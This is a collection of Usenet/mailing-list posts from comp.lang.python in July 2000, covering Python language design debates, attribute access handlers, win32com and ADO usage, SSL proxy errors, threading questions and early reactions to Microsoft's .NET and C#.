>would have to explicitly call the superclass' __attr_XXX__ method if you
>didn't define all of set/get/del(?)  I have a feeling I'm missing
>something...
...
I prefer the fine control version, but couldn't you have both or is that
too un-pythonic
-- 
Robin Becker


From aahz at netcom.com.bbs  Sun Jul 16 12:10:02 2000
From: aahz at netcom.com.bbs (aahz at netcom.com.bbs)
Date: 16 Jul 2000 16:10:02 GMT
Subject: Python equivalent of CPAN in Perl
Message-ID: <3bQSCR$lzh@openbazaar.net>

In article <PKYoxIA+wXc5EwNL at jessikat.fsnet.co.uk>,
Robin Becker  <robin at jessikat.fsnet.co.uk> wrote:
>In article <8krfa9$vf4$1 at nntp9.atl.mindspring.net>, Aahz Maruch
><aahz at netcom.com> writes
>>
>>We've got half of it with Vaults of Parnassus.  Another third will come
>>with the standardization of distutils in Python 2.0 (remember, 1.6 has
>>been renamed to 2.0).
>
>Unfortunately not true. A large share of the Python market (on win32)
>have no compilers and probably wouldn't/couldn't use one even if it were
>present. I doubt the extension builders will always want to include
>.pyds for Python15.dll Python20.dll etc etc.

To the extent that this is true, isn't it also true of Perl/CPAN?
--
                      --- Aahz (Copyright 2000 by aahz at netcom.com)

Androgynous poly kinky vanilla queer het    <*>     http://www.rahul.net/aahz/
Hugs and backrubs -- I break Rule 6

"Let's go home and turn on MTV.  I want to watch some Pop-Up Videos."
"Pop-Up Videos is not on MTV, it's on VH-1."
"'MTV' is a generic."


From moshez at math.huji.ac.il  Sat Jul 29 06:10:22 2000
From: moshez at math.huji.ac.il (Moshe Zadka)
Date: Sat, 29 Jul 2000 13:10:22 +0300 (IDT)
Subject: Python in politics (sssssssssnake!)
In-Reply-To: <398296A1.1A97571A@sitegnome.com>
Message-ID: <Pine.GSO.4.10.10007291308070.20226-100000@sundial>

On Sat, 29 Jul 2000, Fiona Czuczman wrote:

> Hi Kirby,
> 
> Your mail got me thinking...
> 
> I've just started trying to teach my 9 year old son how to program, I
> choose Python because I'm trying to learn it as well....
> 
> He thinks he is 'cool', and I quote 
> 
> - "I'm not here to make (make dinner) I'm here to program" - in an
> attempt to get out of helping me with the cooking.
> 
> body actions of a super hero (muscle flex left and right arms :) ....
> hopefully I'll be able to maintain that level of enthusiasm.  Do all you
> guys do that?? <g>
> 
> I'd be interested if there are guidelines somewhere for parents to teach
> their kids how to code?  When it comes to 9 year olds the tutorials are
> pretty scary ... maybe I should start working on that? Is anyone
> actively working on that now...?

"Thinking like a computer scientist in Python", available at
http://yhslug.tux.org.il/obp/
(follow the links)
might be a bit too heavy for 9yr old, but should be a good place to start.

It's under the  GPL, so you're welcome to fork a version suitable for
younger kids, and share the changes with everyone.
--
Moshe Zadka <moshez at math.huji.ac.il>
There is no IGLU cabal.
http://advogato.org/person/moshez




From cjensen at bioeng.ucsd.edu  Tue Jul 11 22:07:35 2000
From: cjensen at bioeng.ucsd.edu (Curtis Jensen)
Date: Tue, 11 Jul 2000 19:07:35 -0700
Subject: PIL for SGI IRIX
Message-ID: <396BD2E7.1E38FF95@bioeng.ucsd.edu>

While running ./configure for the PIL module, I get this output:

loading cache ./config.cache
checking for --without-gcc... no
checking for gcc... gcc
checking whether we are using GNU C... yes
checking whether gcc accepts -g... yes
checking for ranlib... :
checking for ar... ar
checking MACHDEP... irix646
checking for -ljpeg... no
checking for -lmpeg... no
checking for -lz... yes
checking how to run the C preprocessor... gcc -E
checking whether cross-compiling... 360246:./conftest: rld: Fatal Error:
Cannot Successfully map soname 'libz.so.1.1.3' under any of the
filenames
/usr/lib32/libz.so.1.1.3:/usr/lib32/internal/libz.so.1.1.3:/lib32/libz.so.1.1.3:/opt/lib32/libz.so.1.1.3: 
yes
checking for ANSI C header files... yes
checking for inline... inline
checking whether byte ordering is bigendian... configure: error: can not
run test program while cross compiling


How do I get past this point?  Also, I have the jpeg library, and it
compiled fine, but configure doesn't find it.  How do I make configure
see it?  Thanks.


-- 
Curtis Jensen
cjensen at bioeng.ucsd.edu
http://www-bioeng.ucsd.edu/~cjensen/
FAX (425) 740-1451


From grey at despair.rpglink.com  Fri Jul 28 11:40:36 2000
From: grey at despair.rpglink.com (Steve Lamb)
Date: Fri, 28 Jul 2000 15:40:36 GMT
Subject: Perl is worse! (was: Python is Wierd!)
References: <200007280137.LAA30715@envy.fulcrum.com.au> <slrn8o1vc0.vnr.grey@teleute.rpglink.com> <io12ososq8or6t6lgdsclgp5eob5rs8cd7@4ax.com> <slrn8o24mr.e7.grey@teleute.rpglink.com> <m24s5avgru.fsf@mycroft.actrix.gen.nz> <slrn8o2fgr.1e2.grey@teleute.rpglink.com> <8lrp6k0utp@news2.newsguy.com>
Message-ID: <slrn8o3a7h.3ok.grey@teleute.rpglink.com>

On Fri, 28 Jul 2000 12:57:31 +0200, Alex Martelli <alex at magenta.com> wrote:
>I'm not being a Python apologist here; I think that using typed data
>is preferable in most cases _but not in all_, and that Python should
>let the operation determine the context, rather than the data, in a
>few more cases than it currently does.

    First off, thank you for the wonderful post.  Completely enjoyable to
read.  Also thank you for saying this and all that follows.  I'll most likely
bow out of the discussion now since I think all that is going to be said has
been said.  I just wanted to raise one question:

    What about a way to define a variable that you want to be mutable.
Something set at time of creation that allows a more of the type
transformations of perl to be performed while still retaining the type
checking for all other operations?  It seems that they main problem people
have is the automatic conversion when there is the potential for a loss of
data or when it is "senseless" (nevermind that a lot of things are senseless
in programming, like rollover of integers in C, but I digress).  Why not,
then, allow the programmer to say, "Yes, convert /this/ variable as needed
based on context"?  A JUST_DO_IT!!!! flag, if you will?

-- 
         Steve C. Lamb         | I'm your priest, I'm your shrink, I'm your
         ICQ: 5107343          | main connection to the switchboard of souls.
-------------------------------+---------------------------------------------


From niels at endea.demon.nl  Fri Jul 21 06:52:56 2000
From: niels at endea.demon.nl (Niels Diepeveen)
Date: Fri, 21 Jul 2000 12:52:56 +0200
Subject: Class static variables
References: <8l714k$hjd$1@nnrp2.deja.com>
Message-ID: <39782B88.9BDE9F68@endea.demon.nl>


desnoix at my-deja.com schreef:
> 
> I'm writing a tool to translate a variety of OO
> programming languages. Especially I target Python
> but I am hesitating about the way to define
> class-scope static variables. Could you suggest me
> what is the best and natural form ?
> 
> Example: MyClass { static int a; }
> - MyClass_a
> - accessors + global var
> - any other form
MyClass.a will work unless it is a function. (class attributes that are
functions are magically turned into instance methods) For example:

class MyClass:
    #define class attribute
    a = 0
    def method(self):
        #use class attribute
        do_something_with(MyClass.a)

#use class attribute outside of MyClass
do_something_else_with(MyClass.a)

-- 
Niels Diepeveen
Endea automatisering



From neilh at scintilla.org  Wed Jul  5 09:22:24 2000
From: neilh at scintilla.org (Neil Hodgson)
Date: Wed, 05 Jul 2000 13:22:24 GMT
Subject: Is there a searchable archive of c.l.py
References: <Gj185.6536$Tb7.39716@news-server.bigpond.net.au> <111b2f38.c4458b92@usw-ex0106-045.remarq.com>
Message-ID: <kEG85.8430$Tb7.53383@news-server.bigpond.net.au>

> I don't know just how far back RemarQ goes, but it's probably
> worth a look.

   Thanks for the pointer.

   Remarq only goes back to April with a couple of days in March. I like the
way it displays all of a thread if you click on it though. Lots less
clicking than Deja.

   Neil





From billtut at microsoft.com  Wed Jul 26 14:58:34 2000
From: billtut at microsoft.com (Bill Tutt)
Date: Wed, 26 Jul 2000 11:58:34 -0700
Subject: Microsoft's C# (Sharp) & .NET -- A Heads Up
Message-ID: <4D0A23B3F74DD111ACCD00805F31D8101D8BD334@RED-MSG-50>

The important concepts of .NET don't really include what or how the
VM/JITters work.  One way to view .NET in a positive light for application
developers is a platform to more easily interoperate between various
languages while at the same time providing COM and COM+ integration in a
fairly sane and consistent way across the various languages.  The other
important concepts around .NET are the services and tools that are the works
in progress.

Bill
--
Not speaking for MS, etc, etc...


 -----Original Message-----
From: 	cg at gaia.cdg.acriter.nl [mailto:cg at gaia.cdg.acriter.nl] 
Sent:	Wednesday, July 26, 2000 10:46 AM
To:	python-list at python.org
Subject:	Re: Microsoft's C# (Sharp) & .NET -- A Heads Up

David Arnold  <davida at pobox.com> said:
>it's impressive how much hype can be generated for a product that is
>still years away from general release ;-)
>
...and is soooo innovative that it does exactly the same thing as Java
and the JVM, only five years later and at the vaporware stage. There's
only one company that can pull this off, and I sincerely hope they'll
choke in it this time.

(http://grunge.cs.tu-berlin.de/~tolk/vmlanguages.html, support /that/ many
stuff on your little VM, M$).

... happily going back to Java, Python, SmallTalk, Scheme, XML and whatnot
on top of HotSpot...,

Cees



-- 
Cees de Groot               http://www.cdegroot.com     <cg at cdegroot.com>
GnuPG 1024D/E0989E8B 0016 F679 F38D 5946 4ECD  1986 F303 937F E098 9E8B
Forge your CipherSaber and list it: http://www.xs4all.nl/~cg/ciphersaber/
-- 
http://www.python.org/mailman/listinfo/python-list



From robin at illusionsexeculink.com  Wed Jul  5 22:31:50 2000
From: robin at illusionsexeculink.com (robin at illusionsexeculink.com)
Date: Wed, 05 Jul 2000 22:31:50 -0400
Subject: "Write to a file" question please?
References: <tzFjOfN2zOzPHwvl3ncklEAEb+fa@4ax.com> <u7lb07is1.fsf@foreignkey.com> <39634BBF.5EFFC493@quantisci.co.uk>
Message-ID: <gpr7ms0sr1ptqhrdmnfeoba9gijf0rfijn@4ax.com>

Paul Robinson <paul.robinson at quantisci.co.uk> wrote:

>Paul Jensen wrote:
>> I wanted to include a reference to the "%" operator in the online
>> docs, but interestingly couldn't find one. Anyone know offhand where
>> "%" is covered in the docs?
>
>http://www.python.org/doc/current/lib/typesseq-strings.html#SECTION004151000000000000000
>[Thats library reference - 2.1.5.1 More String Operations]
>
>...although if you didn't know what an "sprintf() format string" was
>then the probability of understanding this particular section is low.

Try the Wonderful World of Micro$oft:
http://msdn.microsoft.com/library/devprods/vs6/visualc/vccore/
_crt_format_specification_fields_.2d_.printf_and_wprintf_functions.htm

(all one line, ob.)

-----
robin                          robin at illusionsexeculink.com
media artist /                 remove illusions to reply
information architect          www.execulink.com/~robin/

"We told it about general relativity and gravity, the kind of people
that overcome hardships." 


From neilh at scintilla.org  Sat Jul 29 20:58:28 2000
From: neilh at scintilla.org (Neil Hodgson)
Date: Sun, 30 Jul 2000 00:58:28 GMT
Subject: Python in politics (sssssssssnake!)
References: <nif3osg6mr87dsd5grafifpck048jr6ec9@4ax.com> <398296A1.1A97571A@sitegnome.com>
Message-ID: <U4Lg5.15666$4p3.123519@news-server.bigpond.net.au>

> body actions of a super hero (muscle flex left and right arms :) ....
> hopefully I'll be able to maintain that level of enthusiasm.  Do all you
> guys do that?? <g>

   We no longer try to emulate super-heroes. We've got Tim Peters.

no-time-for-murder-mayhem-or-mice-gonna-shine-them-sigs-so-nice-ly y'rs -
neil





From gtalvola at nameconnector.com  Wed Jul 19 12:25:17 2000
From: gtalvola at nameconnector.com (Geoff Talvola)
Date: Wed, 19 Jul 2000 12:25:17 -0400
Subject: ADO 2.5 connection problem
References: <snbbe8hl1nk87@news.supernews.com> <snbiovis6tt120@news.supernews.com>
Message-ID: <3975D66D.8B5F46A2@NameConnector.com>

Dale Strickland-Clark wrote:

> I've just knocked up a JavaScript equivalent of this as a Windows Scripting
> Component and it works a treat.
>
> Is it me or is Python Win32Com doing something stupid?

Both :-)  You need to use rs.Open, not rs.open.  Case matters.  The error
message is about as misleading as can be, though.

Incidentally, I use the following to create a connection to an Access db:

      db = win32com.client.Dispatch("ADODB.Connection")
      db.Mode = win32com.client.constants.adModeReadWrite   # if we want to be
able to write
      db.Provider = 'Microsoft.Jet.OLEDB.3.51'
      db.Open(dbfile)

I don't know if there are any advantages or disadvantages compared to what
you're doing, but who knows, it may help you out somewhere down the road to know
this method...

--


- Geoff Talvola
  Parlance Corporation
  gtalvola at NameConnector.com




From gmcm at hypernet.com  Sat Jul 22 16:33:13 2000
From: gmcm at hypernet.com (Gordon McMillan)
Date: 22 Jul 2000 20:33:13 GMT
Subject: New PEP: Attribute Access Handlers
References: <39791F0C.CDC13E79@prescod.net> <39792795.B5B0D18C@roguewave.com> <39792C74.E7E3DB2B@prescod.net> <397933DA.46B072BF@roguewave.com> <3979CD4F.22BD1F5E@prescod.net>
Message-ID: <8F79A31F0gmcmhypernetcom@199.171.54.155>

Paul Prescod wrote:

>Consider this module and tell me what it would output (in your opinion):
>
>class A:
>    def __set_x__( self, val ):
>        print val
>a=A()
>a.x=5
5
>print a.x
AttributeError
>del a.x
AttributeError

So far, it's unambiguous.

>
>class B(A):
>    def __get_x__( self, val ):
>       return "funny walk"
>
>b=B()
>b.x=5
5
>print b.x
funny walk
>del b.x
AttributeError

>Now, how would you implement it?

class proxy:
    def __init__(self, obj):
        self.__dict__['_obj'] = obj
    def __getattr__(self, nm):
        mnm = '__get_%s__' % nm
        mthd = getattr(self._obj, mnm, None)
        if mthd:
            return mthd()
        return getattr(self._obj, nm)
    def __setattr__(self, nm, val):
        mnm = '__set_%s__' % nm
        mthd = getattr(self._obj, mnm, None)
        if mthd:
            return mthd(val)
        setattr(self._obj, nm, val)
    def __delattr__(self, nm):
        mnm = '__del_%s__' % nm
        mthd = getattr(self._obj, mnm, None)
        if mthd:
            mthd()
        delattr(self._obj, nm)

class _A:
    def __set_x__(self, val):
        print val
class _B(_A):
    def __get_x__(self):
        return "funny walk"

def A():
    return proxy(_A())

def B():
    return proxy(_B())


-Gordon


From mcarpenter at free.fr  Fri Jul 14 11:04:27 2000
From: mcarpenter at free.fr (Martin Carpenter)
Date: Fri, 14 Jul 2000 15:04:27 GMT
Subject: openssl 0.9.5a and python 1.6a2
References: <8kl0h4$pu6$1@nnrp1.deja.com>
Message-ID: <396F2797.D0D3387B@free.fr>

falk.lehmann at gmx.net wrote:
 
> I build python 1.6a2 and included the SSL support. I am using the
> openssl library 0.9.5a on a NT box.
[snip]
> But the proxy replies with an error message:
[snip]
> The requested item could not be loaded by the proxy.<P>
> The certificate issuer for this server is not recognized by
> Netscape. The security certificate may or may not be valid.
[snip]
> It seems that some certificate is missing. How do I make openssl aware
> of the certificates delivered with the distribution? Or is the error
> somewhere else?

Sounds suspiciously like it's the *proxy* that doesn't recognise the CA
that signed cardfile.com's certificate. So:

(a) Can you access this site using a standard browser and the same
proxy? This would eliminate the proxy from the equation.

(b) What certificate does cardfile.com present? Who is the issuer?
(Trying, for example going to that site and then examing the security
properies of that page with your browser - the "padlock" icon in
Navigator, for example). [I'm offline at the moment].

(c) I've not been around OpenSSL for a while (0.7 was the last I
tinkered with, I think), but the standard issuer certificates didn't
used to be "built in". It was up to the application developer to provide
the code to verify the validity of any certificate presented. Therefore,
your application *should* contain copies of all the issuer certificates
for the CAs that you wish to support. (Navigator 4.73, NT4.0, contains
70 or so of these "signer" certificates!).

Martin.




From grey at despair.rpglink.com  Sun Jul 30 20:49:07 2000
From: grey at despair.rpglink.com (Steve Lamb)
Date: Mon, 31 Jul 2000 00:49:07 GMT
Subject: Perl is worse!
References: <8losor$4bk$1@nnrp1.deja.com> <slrn8o0n0b.qhk.grey@teleute.rpglink.com> <8lpt57$hsu$2@newshost.accu.uu.nl> <slrn8o10ko.rt1.grey@teleute.rpglink.com> <8lq5q6$fn4$1@newshost.accu.uu.nl> <slrn8o1do5.rt1.grey@teleute.rpglink.com> <8lspdu$m7e$1@newshost.accu.uu.nl> <slrn8o40d1.49c.grey@teleute.rpglink.com> <8luhsi01ce8@news2.newsguy.com> <slrn8o6nub.f91.grey@teleute.rpglink.com> <8m26fm$ila$4@newshost.accu.uu.nl>
Message-ID: <slrn8o9j3t.i9b.grey@teleute.rpglink.com>

On 30 Jul 2000 21:25:10 GMT, Martijn Faassen <m.faassen at vet.uu.nl> wrote:
>Then have your program catch your exceptions! That's one of the main
>reasons for the existence of the exception handling mechanism; to recover
>gracefully from the unexpected.

>It is possible to catch *all* exceptions, if you're worried about that.
>Or whole groups of exceptions, if you like. They're in a hierarchy.

    However I find that exceptions come up on the damnedest things, break you
out of loops, cause problems all around and don't let you return to where you
were, esp. when you use general catch all exceptions.  As Alex(?) said, you
don't return to where you were so, to me, it seems quite impossible to be able
to catch /all/ exceptions gracefully, ever.

-- 
         Steve C. Lamb         | I'm your priest, I'm your shrink, I'm your
         ICQ: 5107343          | main connection to the switchboard of souls.
-------------------------------+---------------------------------------------


From thiele at muc.das-werk.de  Mon Jul  3 06:40:44 2000
From: thiele at muc.das-werk.de (Thomas Thiele)
Date: Mon, 03 Jul 2000 12:40:44 +0200
Subject: From UNIX to Win NT
Message-ID: <39606DAC.49A502DB@muc.das-werk.de>

Hallo!

I have a program running on UNIX(IRIX and LINUX). I now want to port
this 
program to Win NT. Is there anybody who have any experience with this?

The problem is I am using threads, fork and exec. And I want to have the
same behaviour using NT.

- at first I create a new thread. (so the main thread is ready for
receiving commands)

- then I fork 
in the child I change it's userID (os.setuid()) and replace it by
os.exec()
the parent reads the stderr and stdout from the started program ( like
popen2.popen3() ) 

Last but not least I use sockets (a derived server from SocketServer.py) 


What have I to change? And why? And how? 

Thanks for help,

Thomas


From rpevans at my-deja.com  Tue Jul 18 09:01:30 2000
From: rpevans at my-deja.com (rpevans at my-deja.com)
Date: Tue, 18 Jul 2000 13:01:30 GMT
Subject: threads and pipes
Message-ID: <8l1kf1$k9t$1@nnrp1.deja.com>

I have extended Python with some purpose built functions, written in C
which communicate with a server process, via named pipes.

Initially I called one of these functions (mylib.fred ) from main to
initiate communications with the server. Once stablished I then started
a thread, again a mylib function, to monitor the pipe connection set up
previously.  This is does but locks out the rest of the system. Only
when the thread receives data from the server does the rest of the
system run momentarily before again hanging. My first line of attack was
to put the function which initiated the comms in a separate  thread so
divorcing the comms from main completely (I hoped). Now I have the
problem of communicating data ( pipe/socket fds) from my first thread
back to main and then to the second thread which inplements the select .

This I have miserabley failed to do.

Firstly the python script gives me an attribute error on the join I
perform to wait for the first thread to finish. I have tried join(),
thread.join() , what should I put?

Secondly how do I transfer variables from the C extension library to and
from the Python module.  I asume I can't return a value from a  thread
in the argument list. I have tried declaring a variable as global in
python and external in C without much (ie any succcess ).

Could anyone tell me how I can implement complete asynchronicity between
my mian module and the communication threads. Is there a site with some
example Python threaded code. The library reference is quite sparse in
this area. The books I have bought (O Reilly) do not mention threaded
architecture. Is there a book which covers this?

Many thanks

Richard Evans



Sent via Deja.com http://www.deja.com/
Before you buy.


From dkuhlman at netcom.com  Mon Jul 17 12:54:47 2000
From: dkuhlman at netcom.com (G. David Kuhlman)
Date: 17 Jul 2000 16:54:47 GMT
Subject: Microsoft's C# (Sharp) & .NET -- A Heads Up
References: <qJ165.8938$nZ5.153196@typhoon.southeast.rr.com> <395a7440.132798875@nntp.interaccess.com> <39597A25.8BF553C@san.rr.com> <slrn8lj56i.l52.thomas@centurion.xs4all.nl> <395d728e.117049078@nntp.interaccess.com> <395D7E14.B18EC77D@san.rr.com> <3968fadf.299209218@nntp.interaccess.com> <396A1436.3B6BD73B@sage.att.com> <Epxa5.13351$Tb7.89807@news-server.bigpond.net.au> <8kld9h$489$1@nnrp1.deja.com>
Message-ID: <8kvdon$tit$1@slb3.atl.mindspring.net>

This is *very* exciting news for me.  Here's why: We make a Web
server add-on that has the CPython interpreter embedded in it. 
This enables our users to extend the mainframe applications that we
deliver/host with Python scripts.  At some time in the future, if
all the silliness about Java does not quiet down, we will be able
to embed JPython into our product so that our users would be able
to extend their applications with Python code which integrates with
their Java code.  And, if the sillines about C# turns out not to be
a hoax, with the work Mark is doing, we might be able to embed
C#Python into our product so that our users could extend their
applications with Python code which integrates with their C# code.

Now, I ask you, what other scripting language would enable me to
support that breadth of users? Incredible.

One thing (among many) that I do not understand is how C#Python can
both compile directly to IL (intermediate language?) and produce a
.DLL/.EXE.  Does the .EXE contain both an interpreter (VM ?) and
the IL (byte code?) that it interprets?  Or does IL mean that the
machine code is in there, but augmented with some meta-information
for debuggers and other tools?  Or, what?

  - Dave


Mark Hammond (MarkH at ActiveState.com) wrote:
> In article <Epxa5.13351$Tb7.89807 at news-server.bigpond.net.au>,
>   "Neil Hodgson" <neilh at scintilla.org> wrote:
> >    Now that Microsoft have revealed their Intermediate Language (IL)
> >    virtual machine, are we going to see a version of Python that
> >    compiles directly to IL? Or will Python byte codes still be
> >    interpreted by C code?
> 
> Directly to IL - although there is still a runtime that handles some of
> the Python semantics.
> 
> This new compiler could be compared, conceptually, with JPython - it is
> a completely new implementation of Python.  It has a compiler that
> generates native Windows .DLL/.EXE files.  It uses a runtime that
> consists of a few thousand lines of C# (C-Sharp) code.  The Python
> programs can be debugged at the source level with Visual Studio 7, as
> well as stand-alone debuggers for this environment.  Python can sub-
> class VB or C# classes, and vice-versa.
> 
> Unfortunately, there will not be a public release of their SDK for a
> couple of months - so the only people able to use this compiler are
> people who attended the PDC, and hence have the pre-beta SDK on their
> conference CDs.
> 
> The compiler is looking pretty reasonable.  pystone.py (amongst others,
> of course) compiles and runs.
> 
> However, this should be quite exciting for the Python community.  The
> general feel of the conference here is that the MS .NET technology is
> exciting and a good thing.  I predict that the Windows community will
> embrace this technology, and having Python be a first-class citizen is a
> good thing!  It _is_ a radical change.

> 
> Future work on this compiler will be under the ActiveState banner.
> However, the compiler and the runtime are all open source.  The
> compiler is written in CPython, and uses win32com to get at the
> Reflection::Emit APIs provided by .NET.  All the existing work has been
> done mainly by me, with some code and advice from Greg Stein.  Now the
> NDA is lifted, I hope (some of) the Python community will get behind
> this, and take advantage of the open-sourceness of the compiler and
> runtime, and help us turn this into an excellent language for this
> environment.
> 
> All good stuff (IMO, of course)
> 
> None of this is speaking for ActiveState - just my personal opinion.
> 
> Mark (still at the PDC!)
> 
> 
> Sent via Deja.com http://www.deja.com/
> Before you buy.


From rupole at compaq.net  Fri Jul 14 23:27:50 2000
From: rupole at compaq.net (Roger Upole)
Date: Sat, 15 Jul 2000 03:27:50 GMT
Subject: NT4 shortcuts and import
References: <8koe6q$avh$1@nnrp1.deja.com>
Message-ID: <WSQb5.17554$e6.592129@pouncer.easynews.com>

Python is correct, as usual.  The filename is actually src.lnk.
NT normally hides the extension for shortcut files, but it is
there.
Python will not import automatically thru a shortcut.
You could do it yourself by getting the pathname from
the link and using execfile or something similar, but that
would be a major pain.
Creating a package sounds like what you want to do,
see
http://www.python.org/doc/current/tut/node8.html#SECTION00840000000000000000
0

     HTH
       Roger Upole


"Andy Freeman" <anamax at earthlink.net> wrote in message
news:8koe6q$avh$1 at nnrp1.deja.com...
> I'd like to use a shortcut named, say, "src", from the current
> directory to a directory somewhere else and then use "import src.foo".
> The problem is that NT4 thinks that the shortcut is named "src"
> but Python thinks that the shortcut is named "src.lnk".  Note that
> I can't use "import src.lnk.foo" because the first "." is interpreted
> as a directory name separator, not a part of the "src.lnk" module
> name.
>
> (1) How do I get Python to use "src" as the module name?
> (2) How do I escape "." in variable names?
>
> I'm using Python 1.5.
>
> thanks,
> -andy
>
>
> Sent via Deja.com http://www.deja.com/
> Before you buy.




From mhaselup at clicktomarket.com  Thu Jul  6 16:03:04 2000
From: mhaselup at clicktomarket.com (Mark Haselup)
Date: Thu, 6 Jul 2000 13:03:04 -0700
Subject: Application testing
Message-ID: <8kdafd$2nj$1@bob.news.rcn.net>

I need to carry out some testing of a cgi application from a Browser client.
I have been informed that I can use Python (or some of it's extensions) to
capture and replay the http traffic between the Browser and the Webserver to
simulate a user session. Unfortunately I've not been able to find any
information on this usage in the books I've looked at so far. I am also
interested in any other applications free or otherwise which would allow me
to do this.

I would like to be able to capture the traffic and edit it to allow modified
replays of sessions. Can anbody help with this? Should I be looking at other
news groups for these features?

Thanks.




From david_ullrich at my-deja.com  Sun Jul 16 14:40:44 2000
From: david_ullrich at my-deja.com (david_ullrich at my-deja.com)
Date: Sun, 16 Jul 2000 18:40:44 GMT
Subject: Changing the class of an instance
References: <8ki9bf$2pg3$1@pc-news.cogsci.ed.ac.uk> <8kkuuv$ohu$1@nnrp1.deja.com> <8kl0c7$1h2n$1@pc-news.cogsci.ed.ac.uk> <8knhql$lpi$1@nnrp1.deja.com> <8knl04$1c9b$1@pc-news.cogsci.ed.ac.uk> <8kq8kc$guk$1@nnrp1.deja.com> <etdbszzw6wv.fsf@w20-575-115.mit.edu>
Message-ID: <8ksvja$9f3$1@nnrp1.deja.com>

In article <etdbszzw6wv.fsf at w20-575-115.mit.edu>,
  Alex <cut_me_out at hotmail.com> wrote:
>
> >    Well it's exactly what I was doing once because I was a lot more
> > clever than the guys who said I shouldn't. And then I decided quite
> > suddenly that they were right. (At the end of a _long_ stretch
trying
> > to figure out why the heck something wasn't working - of course the
> > answer is the object in question was very different from the object
it
> > appeared it should be...)
>
> It can have really confusing consequences,

    I don't think "confusing" is the right word. Although I'm
fairly certain I won't get the words right: It destroys the...
maybe the word is "encapsulation" or "modularity" or something -
it means that you cannot verify things are correct by just
looking at things locally. When you write

def AClass:
  def AMethod(self):
    <some code>

you can't know that AMethod is correct just by inspecting
<some code>, because you have no idea whether <some code>
is what's executed when AMethod is called.

> but it's still too useful
for
> me to abandon.  If you have a class which takes a long time to
> instantiate (e.g., you have to load a lot of statistical data into
> memory,) then having a script like
>
> class C:
>     pass
>
> if 't' not in dir():
>     t = C()
>
> t.__class__ = C
> t.experiment_with_instance()
>
> can really decrease your turn-around time when you're debugging -- you
> can change t's methods around behind its back without changing its
data.

     Not sure what sort of debugging we're referring to. If you're
trying to figure out how to do something, as opposed to writing
code meant to be used later, that's different. I'm not sure whether
you're talking about temporary experimental code or "real" code;
the post that started this was evidently talking about real code.
In temporary code I suppose changing __class__ could be more
convenient simply because it possibly takes a few fewer lines
to write - in real code I don't see why changing the value
of aninstance.__class__ is better than creating a second instance
of the new class. Possibly I missed it, but I haven't seen any
reason given why changing __class__ is better than creating
a new instance (I don't think that the time it takes to load
data counts, there's no reason you have to reload the data
instead of referring to the data already loaded.)

> Alex.
>


Sent via Deja.com http://www.deja.com/
Before you buy.


From rapto at arrakis.es  Sat Jul 22 06:54:36 2000
From: rapto at arrakis.es (Marcos =?iso-8859-1?Q?S=E1nchez?= Provencio)
Date: Sat, 22 Jul 2000 10:54:36 GMT
Subject: PIL and HPGL
References: <4682ls4ukdce8uipv7hcgfjkihv6teoppj@4ax.com>
Message-ID: <39799A48.2D2F8FF6@arrakis.es>

Anders Eriksson wrote:
> 
> Hello!
> 
> I need to create a lot of PDF files of some drawings (made in AutoCAD)
> and I thought I try to do it with Python. The easiest way should be by
> using PIL to read hpgl/2 and then create a PDF. One catch though.....
> PIL can't read HPGL/2.
> 
> Anyone that have created this 'plug-in' for PIL?
> Anyone that knows where I can get the specification of HPGL?
> 
> // Anders

You might try printing to postscript in AutoCAD and converting the
resulting .ps or .prn to pdf with ghostscript.


From paul at prescod.net  Thu Jul 20 02:51:19 2000
From: paul at prescod.net (Paul Prescod)
Date: Thu, 20 Jul 2000 01:51:19 -0500
Subject: Matlab vs Python (was RE: Discussion: Introducing new operators for 
 matrix computation)
References: <slrn8mpi53.sh.hzhu@rocket.knowledgetrack.com> <3973415D.5262CD86@eecis.udel.edu> <39735013.1AE68176@roguewave.com> <slrn8n6l4p.qp.hzhu@rocket.knowledgetrack.com> <39735A82.8B4D0489@prescod.net> <slrn8n6ppl.sf.hzhu@rocket.knowledgetrack.com> <qnkaefg4esq.fsf@arbutus.physics.mcmaster.ca> <slrn8n75s4.2jc.hzhu@rocket.knowledgetrack.com> <3973A347.3ABCB12F@prescod.net> <ilq8nss3pc0luvogh4kdh1pdlrnu7614df@4ax.com> <slrn8n9i9j.so.hzhu@rock.localdomain> <gd1dnss55j4dl14n3tfpl96o6mb8dq12gl@4ax.com>
Message-ID: <3976A167.FCB7EFE3@prescod.net>

John Lull wrote:
> 
> ...
> 
>    a..newOp..(b..otherOp..c)

I really like the fact that the operator uses a word instead of a
cryptic symbol, but I can't understand why anyone would prefer the above
to:

a.newOp(b.otherOp(c))

The only thing you've bought is the ability to look up the operation on
the right-side of the operator and a slightly more symmetric "look".

-- 
 Paul Prescod - Not encumbered by corporate consensus
"Hardly anything more unwelcome can befall a scientific writer than 
having the foundations of his edifice shaken after the work is 
finished.  I have been placed in this position by a letter from 
Mr. Bertrand Russell..." 
 - Frege, Appendix of Basic Laws of Arithmetic (of Russell's Paradox)





From * at spam.ruud.org  Mon Jul  3 07:26:29 2000
From: * at spam.ruud.org (Ruud de Rooij)
Date: 3 Jul 2000 13:26:29 +0200
Subject: Bug in math.frexp?
References: <20000630221759.A1965@xyz.donetsk.ua> <LNBBLJKPBEHFEDALKOLCCELGGHAA.tim_one@email.msn.com> <14688.12945.528521.351944@cj42289-a.reston1.va.home.com> <200007031118.NAA22787@centurion.xs4all.nl>
Message-ID: <87lmzjo3oa.fsf@hobbes.home.ruud.org>

Thomas Wouters <thomas at centurion.xs4all.nl> writes:

> That means the
> exponent has to be able to be negative, when the original number was
> negative.

The sign of the exponent is not necessarily equal to the sign of the
number.

	- Ruud de Rooij
-- 
ruud de rooij | *@spam.ruud.org | http://ruud.org


From see at my.signature  Thu Jul 20 23:20:19 2000
From: see at my.signature (Greg Ewing)
Date: Fri, 21 Jul 2000 15:20:19 +1200
Subject: Dot-comma, anyone? (Re: zip or marry etc)
References: <20000718100813.C21354@newcnri.cnri.reston.va.us> <T0ePelAgnJd5EwFl@jessikat.fsnet.co.uk> <397517C6.93911CF0@prescod.net> <397684EB.3E0C5D88@my.signature> <8l68s5$3ht$1@nnrp1.deja.com>
Message-ID: <3977C173.B93EB70B@my.signature>

Matthias wrote:
> 
>  for x,y,z in a&b&c:

But a&b&c parses as (a&b)&c, which is not what
we want at all!

What we're talking about can't be done by overloading
a binary operator, because it's not binary -- it's
n-ary, where n is the number of lists we're
zipping.

Furthermore, there's no reason why a, b and c
couldn't be instances of classes which implement
& in such a way that the result is a valid
sequence type.

-- 
Greg Ewing, Computer Science Dept, University of Canterbury,	  
Christchurch, New Zealand
To get my email address, please visit my web page:	  
http://www.cosc.canterbury.ac.nz/~greg


